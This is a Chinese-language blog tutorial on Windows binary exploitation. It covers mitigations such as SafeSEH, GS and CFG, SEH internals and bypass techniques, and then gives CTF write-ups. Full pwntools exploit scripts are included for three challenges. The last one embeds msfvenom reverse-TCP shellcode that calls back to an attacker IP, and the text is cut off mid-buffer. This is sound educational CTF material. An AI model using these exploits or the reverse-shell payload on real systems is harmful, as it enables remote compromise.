windows-pwn入门

本文最后更新于:2024年2月6日 下午

Windows Pwn

安装工具

pwntoolshttps://github.com/Gallopsled/pwntools

winpwnhttps://github.com/S3cur3Th1sSh1t/WinPwn

checksec

https://github.com/Wenzel/checksec.py

用法类似于linux上的checksec,github直接下载release版本即可。

win_server

https://github.com/Ex-Origin/win_server

EX师傅写的远程交互工具,可以将程序映射到某一个端口上,从而实现与pwntools进行交互。

windbg

windows上功能强大的调试工具。微软商店搜windbg,或者搜索windbg preview,直接安装即可。

常用命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
bp	# 设置断点
bl # 查看断点
bc # 清除下的断点

g # 执行到下一个断点处
p # 单步执行,步过函数
t # 单步执行,步进函数

k # 显示当前调用栈信息
r # 查看寄存器的值
x # 查看符号地址 例如:x ucrtbase!read
d # 查看指定地址内存,有db, dw, dd, dq等几种形式 例如:dd esp L20
da # 使用ascii形式查看指定地址内容,即查看字符串内容
dds # 以更好的形式查看指定地址内存
u # 查看指定地址汇编
lm # 列出所有加载的模块及其基址

.sympath # 显示windbg当前符号查找路径
.reload # 为当前所有模块载入符号信息 /f 强制载入 /v 详细模式

!address # 显示地址的内存属性
!exchain # 显示当前线程的异常处理链(seh)

基础知识

这里基础知识主要参考A1ex师傅的博客。为了加深记忆,在此再记录一遍。

windows保护机制

以checksec检测结果为例,介绍windows常用保护机制。

image-20240205203443355

  • ASLR

Linux相同,在程序启动时将 DLL随机加载到内存中的位置,这将缓解恶意程序的加载。ASLRWindows10后开始在系统中被配置为默认启用。

  • High Entropy VA

称为 高熵64位地址空间布局随机化,开启后,表示此程序的地址随机化的取值空间为64bit,这会导致攻击者更难去推测随机化后的地址。

  • Force Integrity

这个保护被称为强制签名保护,一旦开启,表示此程序加载时需要验证其中的签名,如果签名不正确,程序将会被组织运行。

  • Isolation

被称为隔离保护,一旦开启,表示此程序加载时将会在一个相对独立的隔离环境中被加载,从而阻止攻击者过度提升权限。

  • NX/EDP/PAE

NX指内存页不可运行,操作系统能够将一页或多页内存标记为不可执行,从而防止从该内存区域运行代码,以帮助防止缓冲区溢出。防止代码在数据页面(例如堆、栈和内存池)中运行,在Windows中常称为 DEP

PAE(物理地址扩展,即 Physical Address Extension),是一项处理器功能,使 x86 处理器可以在部分 Windows版本上访问 4GB以上的物理内存。在基于 x86的系统上运行某些 32位 版本的 Windows Server可以使用 PAE访问最多 64 GB128 GB的物理内存,具体取决于处理器的物理地址大小。使用 PAE,操作系统将从两级线性地址转换为三级地址转换。两级线性地址转换将线性地址拆分为3个独立的字段索引到内存表中,三级地址转换将其拆分成4个独立项的字段:一个2位的字段,两个9位的字段和一个12位的字段。PAE模式下的页表条目 PTE 和 页目录条目 PDE的大小从32位增加到64位。附加允许操作系统 PTEPDE引用4 GB以上的物理内存。同时,PAE将允许在基于 x86 的系统上运行的32位 Windows中启用 EDP等功能。

  • SEHOP

即结构化异常处理保护,能够防止攻击者利用结构化异常处理来进行进一步的利用。

  • CFG

控制流防护,在间接跳转前插入校验代码,检查目标地址的有效性,进而可以组织执行流跳转到预期之外的地点,最终及时有效的进行异常处理。

  • RFG

返回地址防护,在每个函数头部将返回地址保存到 fs:[rsp](Thread Control Stack),并在函数返回前将其与栈上返回地址进行比较,从而有效阻止了这些攻击方式。

  • SafeSEH

安全结构化异常处理函数,即白名单安全沙箱,事先定义一些异常处理程序,并基于此构造安全结构化异常处理表,程序正式运行后,安全结构化异常处理表之外的异常处理程序将会被阻止运行。

  • GS

类似 Canary保护,一旦开启会在返回地址和BP之前压入一个额外的 Security Cookie。系统会比较栈中的这个值和原先存放在 .data中的值做一个比较。

  • Authenticode

签名保护。

  • .NET

DLL混淆级保护。

SEH机制

SEHWindows操作系统对 C/C++ 程序做的语法拓展,用于处理异常事件的程序控制结构。硬件异常是CPU抛出的如除0、数值溢出、内存访问错误等;软件异常是操作系统与程序通过 RaiseException语句抛出的异常。Windows拓展了C语言的语法,用 try-excepttry-finally 语句来处理异常。异常处理程序可以释放已经获取的资源、显示出错信息与程序内部状态,供调试、错误恢复、尝试重新执行出错的代码或者关闭程序等。一个 __try 语句不能既有 __except,又有 __finally,但 try-excepttry-finally语句可以嵌套使用。

TIB/TEB结构体

TIB线程信息块,是保存线程基本信息的数据结构,存在于 x86的机器上,也被称为是 Win32TEB(Thread Environment Block)线程环境快。是操作系统为了保存每个现成的私有数据创建的,每个线程都有自己的 TIB/TEB

TEB结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
typedef struct _TEB {
PVOID Reserved1[12];
PPEB ProcessEnvironmentBlock;
PVOID Reserved2[399];
BYTE Reserved3[1952];
PVOID TlsSlots[64];
BYTE Reserved4[8];
PVOID Reserved5[26];
PVOID ReservedForOle;
PVOID Reserved6[4];
PVOID TlsExpansionSlots;
} TEB, *PTEB;

TIB结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// Code in https://source.winehq.org/source/include/winnt.h#2635

typedef struct _NT_TIB{
struct _EXCEPTION_REGISTRATION_RECORD *Exceptionlist; // 指向当前线程的 SEH
PVOID StackBase; // 当前线程所使用的栈的栈底
PVOID StackLimit; // 当前线程所使用的栈的栈顶
PVOID SubSystemTib; // 子系统
union {
PVOID FiberData;
ULONG Version;
};
PVOID ArbitraryUserPointer;
struct _NT_TIB *Self; //指向TIB结构自身
} NT_TIB;

// Code in https://source.winehq.org/source/include/winnt.h#2623

typedef struct _EXCEPTION_REGISTRATION_RECORD{
struct _EXCEPTION_REGISTRATION_RECORD *Next; // 指向下一个结构的指针
PEXCEPTION_ROUTINE Handler; // 当前异常处理回调函数的地址
}EXCEPTION_REGISTRATION_RECORD;

在这个结构中与异常处理有关的成员是指向 _EXCEPTION_REGISTRATION_RECORD结构的 Exceptionlist指针,注意 异常处理链表位于 TIB的链表头。

_EXCEPTION_REGISTRATION_RECORD结构体主要用于描述线程异常处理句柄的地址,多个该结构的链表描述了多个线程异常处理过程的嵌套层次关系。在windbg中可以使用!exchain 命令显示此结构。

image-20201027213119896

注意fs 寄存器指向 TEB结构,Next指针指向 0xFFFFFFFF,表示SEH链结束。

SafeSEH

SafeSEH是针对SEH异常处理的保护机制,自微软Windos XP SP2引入。

在程序调用异常处理函数前,对要调用的异常处理函数进行一系列有效性校验,当发现异常处理函数不可靠时,将终止异常处理函数的调用。

windows 10异常处理的调用链大致如下:

image-20240205215313462

当发生异常时,操作系统调用RtlDispatchException进行检测:

  • 如果异常处理链不在当前程序的栈中,则终止异常处理调用
  • 如果异常处理函数的指针指向当前程序的栈中,则终止异常处理调用
  • 如果前两项检查通过后(SEH的链在栈中,函数不在),则调用RtlIsValidHandler进行异常处理有效性检查

RtlIsValidHandler会判断异常处理函数地址的合法性,其伪代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
BOOL RtlIsValidHandler(handler)
{
if (handler is in an image) // step 1
{
// 在加载模块的进程空间
if (image has the IMAGE_DLLCHARACTERISTICS_NO_SEH flag set)
return FALSE; // 该标志设置,忽略异常处理,直接返回FALSE

if (image has a SafeSEH table) // 是否含有SEH表
if (handler found in the table)
return TRUE; // 异常处理handle在表中,返回TRUE
else
return FALSE; // 异常处理handle不在表中,返回FALSE

if (image is a .NET assembly with the ILonly flag set)
return FALSE; // .NET 返回FALSE
// fall through
}

if (handler is on a non-executable page) // step 2
{
// handle在不可执行页上面
if (ExecuteDispatchEnable bit set in the process flags)
return TRUE; // DEP关闭,返回TRUE;否则抛出异常
else
raise ACCESS_VIOLATION; // enforce DEP even if we have no hardware NX
}

if (handler is not in an image) // step 3
{
// 在加载模块内存之外,并且是可执行页
if (ImageDispatchEnable bit set in the process flags)
return TRUE; // 允许在加载模块内存空间外执行,返回验证成功
else
return FALSE; // don't allow handlers outside of images
}

// everything else is allowed
return TRUE;
}
  • 首先该函数判断异常处理函数地址是不是在加载模块的内存空间,如果属于加载模块的内存空间,检验函数将一次进行如下判断:
    • 判断程序设置 IMAGE_DLLCHARACTERISTIC_NO_SEH标识,设置了就忽略异常,函数返回校验失败.
    • 检测程序是否包含 SEH表,如果包含,则将当前异常处理函数地址与该表进行匹配,匹配成功返回校验成功,否则失败.
    • 判断程序是否设置 ILonly标识,设置了标识程序只包含 .NET编译人中间语言,函数直接返回校验失败。
    • 判断异常处理函数是否位于不可执行页(non-executable page)上,若位于校验函数将检测 DEP是否开启,如若系统未开启DEP则返回校验成功,否则程序抛出访问违例的异常。
  • 如果异常处理函数的地址没有包含在加载模块的内存空间,检验函数将直接执行DEP相关检测,函数将依次进行如下检验:
    • 判断异常处理函数是否位于不可执行页(non-executable page)上,若位于校验函数将检测 DEP是否开启,如若系统未开启DEP则返回校验成功,否则程序抛出访问违例的异常。
    • 判断系统是否允许跳转到加载模块的内存空间外执行,如允许则返回校验成功,否则返回校验失败。

需要注意的一点是,win10及以上操作系统会调用ntdll!RtlpIsValidExceptionChain 检测SEH 链的合法性,也即覆盖后的 Next需要指向一个正常的 SEH,保证 SEH链的正常。

绕过SafeSEH

分析三种情况可行性:

  1. 只考虑SafeSEH,不考虑 DEP干扰,需要在加载模块内存范围之外找到一个跳板指令就可以转入 shellcode中执行;
  2. 可以利用未启用的SafeSEH模块中的指令作为跳板,转入shellcode执行;
  3. 可以考虑:a. 清空安全SEH表,造成该模块未启用SafeSEH假象;b. 将指令注册到安全SEH表中。

其他的方法:

  1. 不攻击SEH,使用覆盖返回地址或者虚函数表等信息;
  2. 利用SEH的安全校验的严重缺陷,如果SEH中的异常函数指针指向堆区,即使安全校验发现SEH不可信,仍会调用其已修改过的异常处理函数。(这种方法目前在windows10上不可行,因为windows加入了一个新的检查 MEM_EXECUTE_OPTION_IMAGE_DISPATCH_ENABLE,决定了是否允许在加载模块内存空间外执行)。

利用方法:

  1. 覆盖 NEXT指针和 SE handler
  2. 使用未开启 Safe SEH模块的 gadgets绕过 SafeSEH。例如:HITB GSEC Babyshellcode
  3. 覆盖 SEH handler使得程序执行这段 gadget,最终跳转到 shellcode。例如:2024 西湖论剑 babywin

覆盖 SE handler指向一段 POP POP retgadgets,当发生程序错误,调用 SEH会让程序跳转到 POP POP ret指令的位置,当执行到 ret的时候,会发现此时 ESP正好指向 JMP SHORT 0x6,程序执行这个代码,使得 EIP向后调转 0x6个字节,跳入在缓冲区后方的 shellcode,成功执行代码。

这里为什么 执行完 SE handler还能跳转到 JMP SHORT 0x6之前执行呢?原因在于当异常发生时,异常分发器创建自己的栈帧,会把 EH Handler成员压入新创建的栈帧中(作为函数起始的一部分),在 EH结构中有一个域是 EstablisherFrame,这个域指向异常注册记录(next seh)的地址并被压入栈中,当一个例程被调用的时候被压入的这个值都是位于 ESP+8的地方。

如果用 pop pop ret的地址覆盖 SEH Handler,第一个 pop将弹出栈顶的 4字节,接下来 pop继续从栈中弹出 4 字节,最后的 ret将把此时 esp所指向栈顶中的值 next SEH的地址放到 EIP中。

SEH Scope Table

系统通过 ScopeTable结构体来实现 __except__finally函数。其中 _EH4_SCOPETABLE_RECORD结构体中的 HandlerAddress对应 __except函数,FinallyFunc对应 __finally函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
struct _EH4_SCOPETABLE {
DWORD GSCookieOffset;
DWORD GSCookieXOROffset;
DWORD EHCookieOffset;
DWORD EHCookieXOROffset;
_EH4_SCOPETABLE_RECORD ScopeRecord[1];
};

struct _EH4_SCOPETABLE_RECORD {
DWORD EnclosingLevel;
long (*FilterFunc)();
union {
void (*HandlerAddress)(); // __except
void (*FinallyFunc)(); // __finally
};
};

一般而言,对于显式使用try-except或者 try-finally 的程序,函数栈帧如下所示:

image-20240205234527868

Scope Table

image-20240205235331338

__except_handler4 是系统默认异常处理回调函数。当发生异常时,程序经过SafeSEH流程后,ntdll!ExecuteHandler2 函数会首先执行__except_handler4 处理异常。

1
2
3
4
int __cdecl SEH_4010B0(int a1, int a2, int a3, int a4)
{
return except_handler4_common(&__security_cookie, sub_401490, a1, a2, a3, a4);
}

这个函数嵌套调用了 except_handler4_common函数,该函数首先会检查栈上的 GS值,然后根据 securityCookies解密 _EH4_SCOPETABLE的地址,最终会调用到 _EH4_SCOPETABLE里面的 FilterFuncFinallyFunc函数,也就是我们自定义的 __except__finally函数的地址。如果能够伪造一个 _EH4_SCOPETABLE结构,里面的FilterFunc函数指针写成自己的,其他字段不改变,覆盖栈中的 _EH4_SCOPETABLE_addr为伪造地址,就能实现任意地址函数调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
void __cdecl ValidateLocalCookies(void (__fastcall *cookieCheckFunction)(unsigned int), _EH4_SCOPETABLE *scopeTable, char *framePointer)
{
unsigned int v3; // esi@2
unsigned int v4; // esi@3

if ( scopeTable->GSCookieOffset != -2 )
{
//获取GS_Cookie
v3 = *(_DWORD *)&framePointer[scopeTable->GSCookieOffset] ^ (unsigned int)&framePointer[scopeTable->GSCookieXOROffset];
__guard_check_icall_fptr(cookieCheckFunction);
//检查GS_Cookie是否一致
((void (__thiscall *)(_DWORD))cookieCheckFunction)(v3);
}
v4 = *(_DWORD *)&framePointer[scopeTable->EHCookieOffset] ^ (unsigned int)&framePointer[scopeTable->EHCookieXOROffset];
__guard_check_icall_fptr(cookieCheckFunction);
((void (__thiscall *)(_DWORD))cookieCheckFunction)(v4);
}

int __cdecl _except_handler4_common(unsigned int *securityCookies, void (__fastcall *cookieCheckFunction)(unsigned int), _EXCEPTION_RECORD *exceptionRecord, unsigned __int32 sehFrame, _CONTEXT *context)
{
// 异或解密 scope table
scopeTable_1 = (_EH4_SCOPETABLE *)(*securityCookies ^ *(_DWORD *)(sehFrame + 8));

// sehFrame 等于 主函数 ebp - 10h 位置, framePointer 等于主函数 ebp 的位置
framePointer = (char *)(sehFrame + 16);
scopeTable = scopeTable_1;

// 验证 GS
ValidateLocalCookies(cookieCheckFunction, scopeTable_1, (char *)(sehFrame + 16));
__except_validate_context_record(context);

if ( exceptionRecord->ExceptionFlags & 0x66 )
{
......
}
else
{
exceptionPointers.ExceptionRecord = exceptionRecord;
exceptionPointers.ContextRecord = context;
tryLevel = *(_DWORD *)(sehFrame + 12);
*(_DWORD *)(sehFrame - 4) = &exceptionPointers;
if ( tryLevel != -2 )
{
while ( 1 )
{
v8 = tryLevel + 2 * (tryLevel + 2);
filterFunc = (int (__fastcall *)(_DWORD, _DWORD))*(&scopeTable_1->GSCookieXOROffset + v8);
scopeTableRecord = (_EH4_SCOPETABLE_RECORD *)((char *)scopeTable_1 + 4 * v8);
encloseingLevel = scopeTableRecord->EnclosingLevel;
scopeTableRecord_1 = scopeTableRecord;
if ( filterFunc )
{
// 调用 FilterFunc
filterFuncRet = _EH4_CallFilterFunc(filterFunc);
......
if ( filterFuncRet > 0 )
{
......
// 调用 FilterFunc
_EH4_TransferToHandler(scopeTableRecord_1->HandlerFunc, v5 + 16);
......
}
}
......
tryLevel = encloseingLevel;
if ( encloseingLevel == -2 )
break;
scopeTable_1 = scopeTable;
}
......
}
}
......
}

最终函数栈帧如下:

14931297820310

ROP

Windows下利用栈溢出执行ropgetshell

windows结束 ret之前,会进行一个检查 __security_check_cookie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.text:0000000140001000 ; __unwind { // __GSHandlerCheck
.text:0000000140001000 push rbx
.text:0000000140001002 sub rsp, 130h
.text:0000000140001009 mov rax, cs:__security_cookie
.text:0000000140001010 xor rax, rsp
.text:0000000140001013 mov [rsp+138h+var_18], rax

...

.text:00000001400010B2 mov rcx, [rsp+138h+var_18]
.text:00000001400010BA xor rcx, rsp ; StackCookie
.text:00000001400010BD call __security_check_cookie
.text:00000001400010C2 add rsp, 130h
.text:00000001400010C9 pop rbx
.text:00000001400010CA retn

可以看到程序首先会使用全局变量 __security_cookiersp进行异或,生成一个 StackCookie放到 rbp+0x18的位置。在执行 ret之前,会将 Stack_Cookiersp进行异或,然后调用 __security_check_cookie检查是否结果是否等于 __security_cookie

__security_cookie这个全局变量,是存储在程序的 data段上:

1
.data:0000000140003008 __security_cookie dq 2B992DDFA232h      ; DATA XREF: main+9↑r

所以,利用栈溢出时,要么能泄露 StackCookie,溢出时对齐进行修复;要么能泄露 __security_cookiersp,对其进行修复。

库函数调用

Linux执行 rop,有两个关键点合适的 gadget和准确的 库函数地址,这两点在 Linux下都可以通过 glibc来泄露寻找。但是对于 windows则需要分开寻找。

ntdll.dllWindows系统从ring3ring0的入口。位于Kernel32.dlluser32.dll中的所有win32 API 最终都是调用ntdll.dll中的函数实现的。ntdll.dll中的函数使用SYSENTRY进入ring0,函数的实现实体在ring0中。所以如果这个函数是每个程序启动基本都会调用的,可以考虑从中寻找我们需要的 gadget

然后是寻找库函数地址, ucrtbased.dll这个库是 VC程序执行必须要有的库,里面放入了很多 VC程序的API调用接口,类似于 Glibc.so。所以可以考虑从 ucrtbased.dll寻找需要调用的 函数地址。

但是,windows的传参方式和函数调用都与 Linux有一些差别。

Windows64位下 参数也通过寄存器传递,依次通过 rcx\ rdx\ r8\ r9。其次函数调用 也不能直接指向 函数实现的入口地址,又因为 windows下没有 plt表,所以调用程序内的函数,要指向 call func的地址,例如要调用 puts函数,需要使用如下 gadget

1
.text:00000001400010A6                 call    cs:puts

所以,我们想要实现库函数调用,也不可以直接指向库函数地址,而是要找到此类地址:

1
.text:00000000000ABBA0                 jmp     common_system_char_

所以可能需要泄露 ntdll.dllucrtbased.dll的基址。

例题

HITB GSEC BABYSTACK

类似于pwn题的一般步骤。

查看保护,发现保护几乎全开。

image-20240205222612190

可以看到,程序开启了ASLR,为了方便调试,这里我们关闭程序的ASLR。关闭方式也比较简单,改变PE文件Optional Header的DllCharacteristics属性,将DLL can move 关掉,然后另存为即可。

image-20240205223304423

使用IDA逆向分析。

image-20240205223514074

程序流程也比较简单,一开始便泄露了stack地址与main函数地址,然后有10次机会来任意地址读或者栈溢出。遗憾的是,程序使用exit 退出,使得ROP的方式几乎不可行。查看main函数汇编,也可以看到提供的后门地址。这里可以考虑利用SEH,这也是windows pwn的常见利用方式。

image-20240205231256675

那么这里该如何利用呢?

首先,考虑跳转到shellcode的方法。

这里由于开启了DEP,无法在栈上执行shellcode,从而不可行。

其次,考虑未开启SafeSEH模块的利用。

这里使用OD的SafeSEH插件查看其他模块是否开启了SageSEH。

image-20240205232137909

很遗憾,这种方式不可行。

最后,考虑利用SEH Scope Table。

SEH Scope Table需要伪造fake ScopeTable,同时还需要伪造其他结构,但是我们有10次机会任意地址泄露,所以这种方式可以尝试。

main 函数的栈帧与Scope Table结构如下:

image-20240205234527868

image-20240205235331338

利用方法如下:

  1. 利用任意地址泄露,泄露Next_SEH_FrameSEH_Handler___security_cookieGS_Cookie.

  2. 伪造fake_scopetable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
fake_scope_table = flat(
{
0: [
0xffffffe4, # GSCookieOffset
0, # GSCookieOROffset
0xffffff20, # EHCookieOffset
0, # EHCookieOROffset
# ScopeRecord[1]
0xfffffffe, # EnclosingLevel
backdoor, # FilterFunc
backdoor # HandlerAddress
]
}
)
  1. 恢复栈帧,获取shell。

调试过程如下:

image-20240205233248315

image-20240205233307698

最终wp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
import warnings

warnings.filterwarnings("ignore", category=BytesWarning)

context.log_level = 'debug'

p = remote('192.168.0.190', 1234)

lg = lambda x, y: log.success(f'{x}: {hex(y)}')

def read_value(address):
p.sendlineafter("know more?\r\n", "yes")
p.sendlineafter("want to know\r\n", str(address))
p.recvuntil("value is 0x")
return int(p.recvline().strip(b"\r\n"), 16)


pause()

security_cookie_offset = 0x404004 - 0x4010b0
backdoor_offset = 0x40138D - 0x4010b0

p.recvuntil('stack address = 0x')
stack = int(p.recvline()[:-1], 16)
lg('stack', stack)

p.recvuntil('ain address = 0x')
main = int(p.recvline()[:-1], 16)
lg('main', main)

backdoor = main + backdoor_offset
_except_handler_address = main + 0x00401460 - 0x004010B0

security_cookie = read_value(main + security_cookie_offset)
lg('security_cookie', security_cookie)

ebp = stack + 0x9c
seh_next = read_value(ebp - 0x10)
lg('seh_next', seh_next)

fake_scope_table = flat(
{
0: [
0xffffffe4, # GSCookieOffset
0, # GSCookieOROffset
0xffffff20, # EHCookieOffset
0, # EHCookieOROffset
# ScopeRecord[1]
0xfffffffe, # EnclosingLevel
backdoor, # FilterFunc
backdoor # HandlerAddress
]
}
)
fake_scope_table_addr = stack + 0x4
payload = b'a' * 4
payload += fake_scope_table
payload = payload.ljust(0x9c - 0x1c, b'a')
payload += p32(security_cookie ^ ebp)
payload += b'a' * 8
payload += p32(seh_next)
payload += p32(_except_handler_address)
payload += p32(security_cookie ^ fake_scope_table_addr)
payload += p32(0)
p.sendlineafter("know more?\r\n", "n")
p.sendline(payload)

p.sendlineafter("know more?\r\n", "yes")
p.sendlineafter("want to know\r\n", str(0))

p.interactive()

image-20240206000424119

HITB GSEC Babyshellcode

查看保护,保护几乎全开。

image-20240206000648008

注意关闭程序ASLR再进行调试。

sub_401590

image-20240206001423546

init_scmgr

image-20240206001552448

调用VirtualAlloc 函数分配一段内存,然后打印出分配的内存地址。

这里VirtualAlloc中有一个参数是flprotect,值是0x40,表示拥有RWE权限。

1
#define PAGE_EXECUTE_READWRITE 0x40

main

image-20240206001825423

这里存在一个栈溢出,可以用来泄露关键内容。

image-20240206001943300

然后给出一个菜单选项功能,其中漏洞点在Run Shellcode功能中。

run_shellcode

image-20240206002112658

这里存在一个栈溢出,然后执行shellcode。由于会把shellcode起始字节修改为-1,也即0xffffffff,这里存在非法地址访问(执行)的错误,会触发错误处理。

如何利用呢?

这里使用OD插件,可以看到scmgr.dll没有开启SafeSEH保护。

image-20240206002510104

同时,我们在scmgr.dll模块中看到了后门函数getshell_test

image-20240206002621932

所以这里思路就很明朗,覆盖SEH Handler为未开启SafeSEH的scmgr.dll的getshell_test 即可。

这里我们需要做的一点就是泄露SEH next(win10后添加的ntdll!RtlpIsValidExceptionChain,必须具有合法的next地址),以及scmgr.dll模块的加载地址。

SEH next在栈上,可以通过一开始的栈溢出泄露出来,主要难点就是泄露scmgr.dll基地址。但是注意到程序一开始将init_scmgr 存放到全局变量中,然后Set ShellcodeGuard功能中对全局变量进行加密,然后打印出加密结果。就可以想到,解密得到scmgr.dll基地址或者通过模拟加密流程爆破出scmgr.dll的基地址。这里题目提示加密算法不可逆,所以只能爆破。

image-20240206003416496

调试过程如下:

伪造前的SEH链

image-20240201204441552

伪造后的SEH链

image-20240201191320432

最终wp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *
import warnings

warnings.filterwarnings("ignore", category=BytesWarning)

context.log_level = 'debug'

p = remote('192.168.0.190', 1234)

lg = lambda x, y: log.success(f'{x}: {hex(y)}')


def Create(size, name, des, shellcode):
p.recvuntil('Option:\r\n')
p.sendline('1')
p.recvuntil('shellcode size:\r\n')
p.sendline(str(size))
p.recvuntil('shellcode name:\r\n')
p.sendline(name)
p.recvuntil('shellcode description:\r\n')
p.sendline(des)
p.recvuntil('shellcode:\r\n')
p.sendline(shellcode)


def Run(idx):
p.recvuntil('Option:\r\n')
p.sendline('4')
p.recvuntil('shellcode index:\r\n')
p.sendline(str(idx))


def get_scmgr_base(check):
for base in range(0x60000000, 0x80000000, 0x10000):
init_scmgr = base + 0x1090
# lg('init_scmgr', init_scmgr)
g_table = [init_scmgr]
for i in range(31):
init_scmgr = (init_scmgr * 69069) & 0xffffffff
g_table.append(init_scmgr)
g_index = 0
v0 = (g_index-1) & 0x1f
v2 = g_table[(g_index + 3) & 0x1f] ^ g_table[g_index] ^ (g_table[(g_index + 3) & 0x1f] >> 8)
v1 = g_table[v0]
v3 = g_table[(g_index + 10) & 0x1F]
v4 = g_table[(g_index - 8) & 0x1F] ^ v3 ^ ((v3 ^ (32 * g_table[(g_index - 8) & 0x1F])) << 14)
v4 = v4 & 0xffffffff
g_table[g_index] = v2 ^ v4
g_table[v0] = (v1 ^ v2 ^ v4 ^ ((v2 ^ (16 * (v1 ^ 4 * v4))) << 7)) & 0xffffffff
g_index = (g_index - 1) & 0x1F

if(g_table[g_index] == check):
lg('base', base)
return base + 0x1100


def shellcodeguard(option):
p.recvuntil('Option:\r\n')
p.sendline('5')
p.recvuntil('Option:\r\n')
p.sendline(str(option))
p.recvuntil('our challenge code is ')
challengde_code = p.recvuntil('\r\n')[:-2].decode()
print(challengde_code)
check = int(challengde_code.split('-')[-1], 16)
print(check)
backdoor = get_scmgr_base(check)
p.recvuntil('challenge response:')
p.sendline('l1s00t')

return backdoor


pause()

p.recvuntil('Global memory alloc at ')
heap = int(p.recv(8), 16)
lg('heap', heap)

p.sendlineafter('leave your name', b'a' * 0x48 + b'b' * 0x8)
p.recvuntil('b' * 0x8)
seh_next = u32(p.recv(3).ljust(4, b'\x00'))
lg('seh_next', seh_next)

system_addr = shellcodeguard(1)
lg('system_addr', system_addr)

payload = b'a' * 0x70 + p32(seh_next) + p32(system_addr) + p32(0)
Create(len(payload), 'a', 'a', payload)

Run(0)

p.interactive()

image-20240206151216330

image-20240206151252996

这个是有一定概率的,不是百分百成功,挺奇怪的。。。

2024 西湖论剑 babywin

查看保护。

image-20240206004833315

没有开启NX与ASLR,开启了SafeSEH。

程序也很简单。

sub_401060

image-20240206005016234

sub_4010E0

image-20240206005047214

sub_4010E0 函数存在栈溢出,但是程序没有显式的泄露地址,也无法泄露出地址,所以这里几乎没办法过掉Canary保护,那就只能走SEH链了。

这里无法泄露出任何地址,也就无法泄露出SEH Next的值了,猜测是运行在Win7上的程序。这里可以通过strcat 函数非法访问触发错误处理。

这里可以使用上述SafeSEH利用方法的第3种,覆盖SEH Handler为pop; pop; ret 类似的gadget,从而执行shellcode。gift 函数提供了类似的gadget,所以这里直接打shellcode就好。但是wndows上的shellcode笔者并没有学过,暂时也没有这个需求,直接使用msfvenom 生成的shellcode。

调试过程如下:

执行完strcpy,程序栈帧布局。

image-20240206010439612

错误处理后的栈帧。

image-20240206010930889

成功执行shellcode。

image-20240206011008164

最终wp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import * 

context.log_level='debug'
context.arch = 'i386'

p = remote("192.168.126.159", 1234)

# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.190 LPORT=1234 -f py -b '\x0a\x00'
buf = b""
buf += b"\xbd\xf8\xb9\xae\xce\xdb\xc4\xd9\x74\x24\xf4\x5a"
buf += b"\x31\xc9\xb1\x59\x83\xc2\x04\x31\x6a\x10\x03\x6a"
buf += b"\x10\x1a\x4c\x52\x26\x55\xaf\xab\xb7\x09\x39\x4e"
buf += b"\x86\x1b\x5d\x1a\xbb\xab\x15\x4e\x30\x40\x7b\x7b"
buf += b"\x79\xa9\x73\x34\x33\x73\x07\x48\xec\x4a\xd7\x01"
buf += b"\xd0\xcd\xab\x5b\x05\x2d\x95\x93\x58\x2c\xd2\x65"
buf += b"\x16\xc1\x8e\x22\x53\x4f\x3f\x46\x21\x53\x3e\x88"
buf += b"\x2d\xeb\x38\xad\xf2\x9f\xf4\xac\x22\xd4\x5d\x8f"
buf += b"\x92\xeb\x8e\x44\x5a\xf3\xb5\x92\x2f\x3f\xff\xaf"
buf += b"\xe4\xb4\xce\x50\x05\x1c\x01\x6f\xc7\x6f\x6f\xc3"
buf += b"\xc9\xa8\x48\xfb\xbf\xc2\xaa\x86\xc7\x11\xd0\x5c"
buf += b"\x4d\x85\x72\x16\xf5\x61\x82\xfb\x60\xe2\x88\xb0"
buf += b"\xe7\xac\x8c\x47\x2b\xc7\xa9\xcc\xca\x07\x38\x96"
buf += b"\xe8\x83\x60\x4c\x90\x92\xcc\x23\xad\xc4\xa9\x9c"
buf += b"\x0b\x8f\x58\xca\x2c\x70\xa3\xf3\x70\xe6\x6f\x3e"
buf += b"\x8b\xf6\xe7\x49\xf8\xc4\xa8\xe1\x96\x64\x20\x2c"
buf += b"\x60\xfd\x26\xcf\xbe\x45\x26\x31\x3f\xb5\x6e\xf6"
buf += b"\x6b\xe5\x18\xdf\x13\x6e\xd9\xe0\xc1\x1a\xd3\x76"
buf += b"\x2a\x72\xe3\x38\xc2\x80\xe4\x40\xc1\x0d\x02\x18"
buf += b"\xb5\x5d\x9b\xd9\x65\x1d\x4b\xb2\x6f\x92\xb4\xa2"
buf += b"\x8f\x79\xdd\x49\x60\xd7\xb5\xe5\x19\x72\x4d\x97"
buf += b"\xe6\xa9\x2b\x97\x6d\x5b\xcb\x56\x86\x2e\xdf\x8f"
buf += b"\xf1\xd0\x1f\x50\x94\xd0\x75\x54\x3e\x87\xe1\x56"
